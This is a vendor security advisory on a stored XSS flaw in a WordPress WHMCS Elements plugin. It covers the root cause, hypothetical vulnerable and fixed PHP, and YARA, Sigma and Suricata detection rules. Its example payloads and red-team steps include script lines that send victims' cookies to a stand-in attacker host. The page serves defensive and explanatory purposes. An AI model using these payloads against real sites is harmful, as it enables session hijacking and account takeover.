CVE-2025-47659
Executive Summary
CVE-2025-47659 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the WPBakery Visual Composer WHMCS Elements WordPress plugin (slug: void-visual-whmcs-element) by voidcoders, versions up to and including 1.0.4.3. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages or posts. When a victim (e.g., an administrator) views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.
The vulnerability stems from improper neutralization of user-supplied input during web page generation. The plugin fails to sanitize or escape data before storing it in the WordPress database, and subsequently fails to escape it when rendering the page. This is a classic stored XSS scenario within the WordPress ecosystem.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. The plugin is not an NPM, PyPI, Go, or Ruby package. However, as a WordPress plugin, it is part of a supply chain that includes the WordPress core, themes, and other plugins. Users should verify the integrity of the plugin file (void-visual-whmcs-element.zip) by checking its checksum against the official source. The lack of a patch from the vendor increases supply chain risk, as users must rely on manual mitigation or alternative plugins.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network – The attack is carried out over the network.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – Attacker needs contributor-level access.
- User Interaction (UI): Required – Victim must view the compromised page.
- Scope (S): Changed – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): Low – Limited impact on availability.
Threat Level: Medium. While the CVSS score is 6.5, the requirement for authenticated access reduces the immediate risk. However, in multi-tenant WordPress environments or sites with many contributors, the impact can be significant.
Deep Dive & Mechanics
The vulnerability exists in the void-visual-whmcs-element plugin, which integrates WHMCS billing functionality with WPBakery Visual Composer. The plugin likely provides shortcodes or custom elements that render user-supplied data (e.g., client names, service descriptions, or custom fields) without proper sanitization.
Root Cause: The plugin uses echo or print to output user input directly into the HTML without applying WordPress escaping functions like esc_html(), esc_attr(), or wp_kses_post(). Additionally, the input is stored in the database without sanitization, allowing persistent payloads.
Attack Flow:
- Attacker logs in with contributor-level privileges.
- Attacker creates or edits a page/post using the vulnerable plugin's element.
- Attacker injects a malicious script into a field (e.g., a text input or custom attribute).
- The plugin stores the unsanitized input in the
wp_postsorwp_postmetatable. - When an administrator or other user views the page, the script executes in their browser.
Example Payload:
<script>alert(document.cookie)</script>
Or a more sophisticated payload to exfiltrate data:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on common fixes.
Vulnerable Code (hypothetical):
// In a shortcode handler
function whmcs_element_shortcode($atts, $content = null) {
$client_name = $atts['client_name']; // No sanitization
return "<div class='whmcs-client'>$client_name</div>";
}
Patched Code (hypothetical):
function whmcs_element_shortcode($atts, $content = null) {
$client_name = esc_html($atts['client_name']); // Sanitize output
return "<div class='whmcs-client'>$client_name</div>";
}
Key Differences:
- The patched version uses
esc_html()to escape HTML entities. - Input should also be sanitized on storage using
sanitize_text_field()orwp_kses_post().
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress installation with the vulnerable plugin (<=1.0.4.3).
- A user account with contributor-level privileges or higher.
Steps:
- Log in to WordPress as a contributor.
- Navigate to Posts > Add New.
- Add a WPBakery element from the plugin (e.g., "WHMCS Client Info").
- In a text field, enter the following payload:
<script>new Image().src='https://attacker.com/steal?c='+document.cookie</script> - Publish the post.
- Wait for an administrator to view the post, or send the link to the victim.
Expected Result: The victim's cookies are sent to the attacker's server.
Blue Team (Detection & Hardening)
Detection:
- Monitor for posts/pages containing
<script>tags in custom fields. - Use a Web Application Firewall (WAF) to block common XSS patterns.
- Review WordPress user activity logs for suspicious post creation.
Hardening:
- Disable the plugin until a patch is available.
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Use a WordPress security plugin (e.g., Wordfence) to detect and block XSS.
Indicators of Compromise (IOCs)
- File:
wp-content/plugins/void-visual-whmcs-element/void-visual-whmcs-element.php(version <= 1.0.4.3) - Database: Rows in
wp_postsorwp_postmetacontaining<script>tags or encoded JavaScript. - Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
- Logs: WordPress debug log entries showing unexpected script execution.
Detection Engineering
YARA Rule
rule CVE_2025_47659_Stored_XSS {
meta:
description = "Detects stored XSS payloads in WordPress posts for CVE-2025-47659"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-47659"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/si
$plugin_path = "void-visual-whmcs-element"
condition:
$plugin_path and #xss_payload > 0
}
Sigma Rule
title: Stored XSS via WPBakery WHMCS Elements Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts in WordPress posts using the vulnerable plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url|contains: "/wp-admin/post.php"
http.body|contains: "void-visual-whmcs-element"
http.body|re: '<script[^>]*>.*?<\/script>'
condition: selection
falsepositives:
- Legitimate use of JavaScript in posts (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-47659 Stored XSS Payload in WordPress Post"; flow:to_server,established; content:"void-visual-whmcs-element"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Remove any malicious posts containing XSS payloads.
- Reset passwords for all users who may have been affected.
Long-term Fixes:
- Apply input sanitization (
sanitize_text_field(),wp_kses_post()) on all user-supplied data. - Apply output escaping (
esc_html(),esc_attr()) before rendering. - Implement a Web Application Firewall (WAF) with XSS rules.
- Regularly update all WordPress components.
Vendor Contact: Since the vendor (voidcoders) status is unknown, consider reaching out via their official channels or filing a report with the WordPress Plugin Review Team.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.